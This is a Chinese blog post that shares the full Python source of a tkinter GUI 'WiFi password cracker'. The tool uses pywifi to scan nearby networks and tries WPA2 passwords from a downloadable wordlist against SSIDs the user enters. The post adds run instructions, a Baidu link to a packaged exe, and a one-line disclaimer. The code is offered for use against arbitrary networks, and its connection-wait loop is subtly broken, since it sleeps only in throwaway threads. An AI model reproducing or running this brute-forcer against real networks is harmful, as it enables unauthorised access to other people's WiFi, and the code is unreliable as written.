【Python工具】WiFi工具

news2024/10/6 16:27:04

文章目录

  • 前言
  • 一、介绍
  • 二、使用步骤
    • 1.完整代码
    • 2.简单使用
  • 总结
  • 免责声明:


前言

注意:此工具为自己测试,不可用作恶意使用。

考虑在windows中的wifi破解工具五花八门很多的广告程序,就自己写一个,原理比较简单,不喜勿喷,可以做后续的优化。

因为考虑多数人没有python环境这里已将python文件打包为exe:
链接:https://pan.baidu.com/s/1x5VpW0HrNvytZN4PBj6ItQ 
提取码:juli 

一、介绍

此程序使用python的tkinter模块开发,简单测试过没有问题,后期有问题可以私信我。
在这里插入图片描述

二、使用步骤

1.完整代码

程序代码如下:

import pywifi
from pywifi import const
import time
import threading
import concurrent.futures
import tkinter as tk
import tkinter.ttk as ttk
from tkinter import filedialog
from tkinter import messagebox


def getwifi():
    wifi = pywifi.PyWiFi()
    ifaces = wifi.interfaces()[0]
    ifaces.scan()
    time.sleep(8)
    bessis = ifaces.scan_results()
    allwifilist = []
    namelist = []
    for data in bessis:
        if data.ssid not in namelist:
            namelist.append(data.ssid)
            allwifilist.append((data.ssid, data.signal))
    allwifilist = sorted(allwifilist, key=lambda st: st[1], reverse=True)
    time.sleep(1)
    n = 0
    wifilist = []
    for item in allwifilist:
        if item[0] not in wifilist:
            n += 1
            if n <= 5:
                wifilist.append(item[0])
    return wifilist

class WiFiPasswordCracker:

    def __init__(self, master):
        self.master = master
        master.title("WiFi密码破解器")

        self.label = ttk.Label(master, text="输入WiFi名称(以逗号分隔):")
        self.label.pack()

        self.wifi_names_entry = ttk.Entry(master)
        self.wifi_names_entry.pack()

        self.select_file_button = ttk.Button(master, text="选择单词表", command=self.select_file)
        self.select_file_button.pack()

        self.crack_button = ttk.Button(master, text="破解密码", command=self.crack_passwords)
        self.crack_button.pack()

        self.results_text = tk.Text(master, height=10, width=50)
        self.results_text.pack()
    def select_file(self):
        file_path = filedialog.askopenfilename()
        if file_path:
            self.wordlist_path = file_path
            messagebox.showinfo("字典已选择", "破解字典设置成功!")

    def crack_passwords(self):
        wifi_names = self.wifi_names_entry.get().split(",")
        wifi_names = [name.strip() for name in wifi_names]

        if not wifi_names:
            messagebox.showwarning("无wifi名称", "请设置要破解的wifi名称")
            return

        if not hasattr(self, "wordlist_path"):
            messagebox.showwarning("为选择字典", "请选择破解字典!")
            return

        try:
            with open(self.wordlist_path, "r") as f:
                passwords = f.readlines()
        except:
            messagebox.showerror("Error", "An error occurred while reading the wordlist file.")
            return

        self.results_text.delete("1.0", tk.END)

        ifaces = self.getifaces()

        for wifi_name in wifi_names:
            self.results_text.insert(tk.END, f"Cracking password for {wifi_name}...\n")
            for password in passwords:
                password = password.strip()
                if self.testwifi(ifaces, wifi_name, password):
                    self.results_text.insert(tk.END, f"Password for {wifi_name} is {password}\n")
                    break
            else:
                self.results_text.insert(tk.END, f"Password for {wifi_name} not found in wordlist.\n")

        messagebox.showinfo("Passwords Cracked", "WiFi密码破解成功!!!")

    def getifaces(self):
        wifi = pywifi.PyWiFi()
        ifaces = wifi.interfaces()[0]
        ifaces.disconnect()
        return ifaces

    def testwifi(self, ifaces, ssidname, password):
        profile = pywifi.Profile()
        profile.ssid = ssidname
        profile.auth = const.AUTH_ALG_OPEN
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        profile.cipher = const.CIPHER_TYPE_CCMP
        profile.key = password
        ifaces.remove_all_network_profiles()
        tmp_profile = ifaces.add_network_profile(profile)
        ifaces.connect(tmp_profile)
        # Wait for connection to be established
        for i in range(30):
            if ifaces.status() == const.IFACE_CONNECTED:
                return True
            else:
                threading.Thread(target=time.sleep, args=(1,)).start()
        return False


root = tk.Tk()
app = WiFiPasswordCracker(root)
root.mainloop()

2.简单使用

1.将上面的python保存为pythonwifi.py
在这里插入图片描述
2.使用powershell打开
在这里插入图片描述
或者按住shift右击python文件所在位置,用powershell打开。

执行python
python3 .\pythonwifi.py

在这里插入图片描述
输入wifi名称
在这里插入图片描述

在这里插入图片描述
字典来源:https://github.com/conwnet/wpa-dictionary


总结

破解不可能是100%成功的,现在很多的WiFi密码是随机生成的,祝大家好运。

免责声明:

本文为作者个人观点,不代表本平台或任何其他机构的立场和观点。本文所包含的任何信息、观点和建议仅供参考和信息交流,读者应自行判断其适用性。

本文所涉及的任何产品、服务、企业、机构、网站或其他信息均为作者个人观点,不构成任何形式的推荐或背书。作者不对因读者根据本文内容采取的任何行动负责,也不承担任何责任。

本文的内容并不保证完全准确、全面或最新,且可能存在错误或遗漏。读者在参考本文内容时应自行进行验证和核实。任何因读者根据本文内容采取的任何行动造成的损失或损害,作者概不负责。

本文的版权归作者所有,未经作者许可,任何人不得擅自转载、复制或用于商业用途。如需转载或引用,请注明出处并联系作者。

最后,作者保留随时修改本文内容和免责声明的权利。请读者在使用本文内容时注意查看最新版本的免责声明。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/366266.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

11技术太卷我学APEX-数据加载

11技术太卷我学APEX-数据加载 0 所谓的数据加载 就是导入数据到数据库表中&#xff0c;本示例就采用Excel导入数据到《技术太卷我学APEX》的apex_learn表。表结构大概是这样的 CREATE TABLE "APEX_LEARN" ( "P_ID" NUMBER(17,0) NOT NULL ENABLE, &quo…

PMP真的有那么厉害?你需要考PMP吗?

这个含金量是有的&#xff0c;是目前项目管理界含金量较高的证书&#xff0c;但也要分人&#xff0c; 因为这是职业证书&#xff0c;主要用于提高职场工作能力&#xff0c;不搞这一行的&#xff0c;PMP证书含金量再高也是一张废纸&#xff0c;可以看下下面这张图&#xff0c;这…

【Redis】Redis 的过期策略以及内存淘汰机制详解

Redis 的过期策略以及内存淘汰机制详解1. Redis 的过期策略1.1 如何设置 key 的过期时间&#xff1f;1.2 key 设置且到了过期时间后&#xff0c;该 key 保存的数据还占据内存么&#xff1f;1.3 Redis 如何删除过期的数据1.3.1 定期删除1.3.2 惰性删除2. Redis 的内存淘汰机制2.…

智能新冠疫苗接种助手管理系统

项目背景介绍 近几年来,网络事业&#xff0c;特别是Internet发展速度之快是任何人都始料不及的。目前&#xff0c;由于Internet表现出来的便捷&#xff0c;快速等诸多优势&#xff0c;已经使它成为社会各行各业&#xff0c;甚至是平民大众工作&#xff0c;生活不可缺少的一个重…

【UE4 制作自己的载具】2-导入UE

在上一篇博客中&#xff08;【UE4 制作自己的载具】1-使用3dsmax制作载具&#xff09;已经完成了载具模型的制作&#xff0c;本篇需要完成的是将模型导入UE中并进行一些调整。本篇制作步骤&#xff1a;新建一个UE工程&#xff0c;可以添加一个载具模板创建一个“Vehicle”文件夹…

windows服务器上传文件解决方案

1.说明 1.如果上传到linux系统&#xff0c;通常使用ftp相关技术&#xff0c;配合windows端的ftp客户端工具比如FileZilla等进行大文件的上传工作。 2.同理windows服务器也可以开启ftp服务用来传输大文件。 3.本文介绍偷懒方式&#xff08;常规是开启windows的ftp服务&#xff0…

案例|山东省中医院基于ZABBIX构建网络设备监控预警平台

作者介绍&#xff1a;董晨&#xff0c;山东省中医院信息科机房运维管理 本文从背景、演进、成效来分享建设过程&#xff0c;最终得出结论&#xff0c;类似Zabbix的国产成熟产品市场价值动辄上百万&#xff0c;而我们以极小成本&#xff0c;为医院节省了大量资金&#xff0c;取…

Java多线程(一)--多线程基础知识

1. 为什么要使用并发编程提升多核CPU的利用率&#xff1a;一般来说一台主机上的会有多个CPU核心&#xff0c;我们可以创建多个线程&#xff0c;理论上讲操作系统可以将多个线程分配给不同的CPU去执行&#xff0c;每个CPU执行一个线程&#xff0c;这样就提高了CPU的使用效率&…

通过NPM生态系统中的依赖树揭开脆弱性传播及其演化的神秘面纱

通过NPM生态系统中的依赖树揭开脆弱性传播及其演化的神秘面纱 本文实现了一个依赖约束解析器来解决NPM依赖约束的多样性&#xff0c;并在此基础上构建了一个完整的依赖漏洞知识图&#xff08;DVGraph&#xff09;&#xff0c;以捕获所有NPM包之间的依赖关系。 https://www.se…

关于thumb2指令下函数运行地址对齐问题及验证固件分析

近期&#xff0c;在分析Thumb2指令的一个固件文件时&#xff0c;发现Thumb2指令集下执行函数的运行地址不对齐&#xff1f; 于是&#xff0c;为了分析一下原因&#xff0c;找了手头上现有的一款基于Cortex3内核的一块板子来实际执行看一下&#xff0c;结合编译后的Hex文件&…

【性能测试】loadrunner(一)知识准备

【性能测试】loadrunner&#xff08;一&#xff09;知识准备 目录&#xff1a;导读 1.0. 前言 1.1 性能测试术语介绍 1.2 性能测试分类 1.3 HTTP我们需要知道的 1.4 Loadrunner 12.55安装 1.0. 前言 ​ 在性能测试中&#xff0c;牵扯到了许多比较杂的知识点&#xff0c;…

Java文件IO操作:File类的相关内容

Java文件IO操作一、File类1.相对路径和绝对路径2.路径分隔符&#xff08;同一路径下、多个路径下&#xff09;3.实例化4.常见方法一、File类 File类继承自Object类&#xff0c;实现了Serializable接口和Comparable接口&#xff1b; File类属于java.io包&#xff1b; File类是文…

高通平台开发系列讲解(WIFI篇)802.11 基本概念

文章目录 一、WLAN概述二、802.11发展历程三、802.11基本概念沉淀、分享、成长,让自己和他人都能有所收获!😄 📢本文将基于高通平台介绍802.11基本概念。 一、WLAN概述 WLAN是Wireless Local Area Network的简称,指应用无线通信技术将计算机设备互联起来,构成可以互相通…

Python计算 -- 内附蓝桥题:相乘,三角回文数

计算 ~~不定时更新&#x1f383;&#xff0c;上次更新&#xff1a;2023/02/23 &#x1f5e1;常用函数&#xff08;方法&#xff09; 1. 求一个整数的最末位 举个栗子&#x1f330; n int(input()) end n % 10蓝桥例题1 - 相乘✖️ 题目描述 本题为填空题&#xff0c;…

【python学习笔记】:输出与输入

01 输出方式 表达式语句、print()函数和使用文件对象的write()方法。 02 输出形式 格式化输出str.format()函数、转成字符串可以使用repr()或str()函数来实现。 (1)repr()&#xff1a;产生一个解释器易读的表达形式&#xff0c;便于字符串的拼接。 例&#xff1a;输出平方与…

OpenGL超级宝典学习笔记:着色器存储区块、原子内存操作、内存屏障

前言 本篇在讲什么 本篇为蓝宝书学习笔记 着色器存储区块 原子内存操作 内存屏障 本篇适合什么 适合初学Open的小白 本篇需要什么 对C语法有简单认知 对OpenGL有简单认知 最好是有OpenGL超级宝典蓝宝书 依赖Visual Studio编辑器 本篇的特色 具有全流程的图文教学 重…

五月天演唱会门票开售,retry了一小时也没re进去!到底是什么高科技在作祟?!

等待了三年&#xff0c;大型线下演唱会终于回归了&#xff01;前段时间&#xff0c;文化和旅游部市场管理司发布通知称&#xff0c;自2023年2月16日起&#xff0c;各地文化和旅游行政部门恢复对涉港澳台营业性演出的受理和审批。据中国演出行业协会在业内调研了解&#xff0c;周…

Python Pytorch开发环境搭建(Windows和Ubuntu)

Python Pytorch开发环境搭建&#xff08;Windows和Ubuntu&#xff09; 目录 Pytorch开发环境搭建 1. 安装cuda cudnn (1)Windows安装方法 (2)Ubuntu18.04安装方法 2. 安装Python(推荐使用Anaconda) (1)Windows安装方法 (2)Ubuntu18.04安装方法 3. Pytorch安装 4. 安装…

渗透测试之端口探测实验

渗透测试之端口探测实验实验目的一、实验原理1.1 端口1.2 服务二、实验环境2.1 操作机器2.2 实验工具三、实验步骤1. 使用netstat手动探测指定服务2. 使用namp工具进行端口扫描2. 使用ssh命令总结实验目的 了解端口、服务的基本概念熟悉手工探测方式netstat命令的使用掌握扫描…

分享app的测试技巧

前言 今天笔者想和大家来唠唠app测试&#xff0c;现在的app有非常的多&#xff0c;这些app都是需要经过测试之后才能发布到应用市场中&#xff0c;app已经成为了我们日常生活中不可或缺的一部分了&#xff0c;但它的功能必须强大&#xff0c;才能受到消费者的重视&#xff0c;…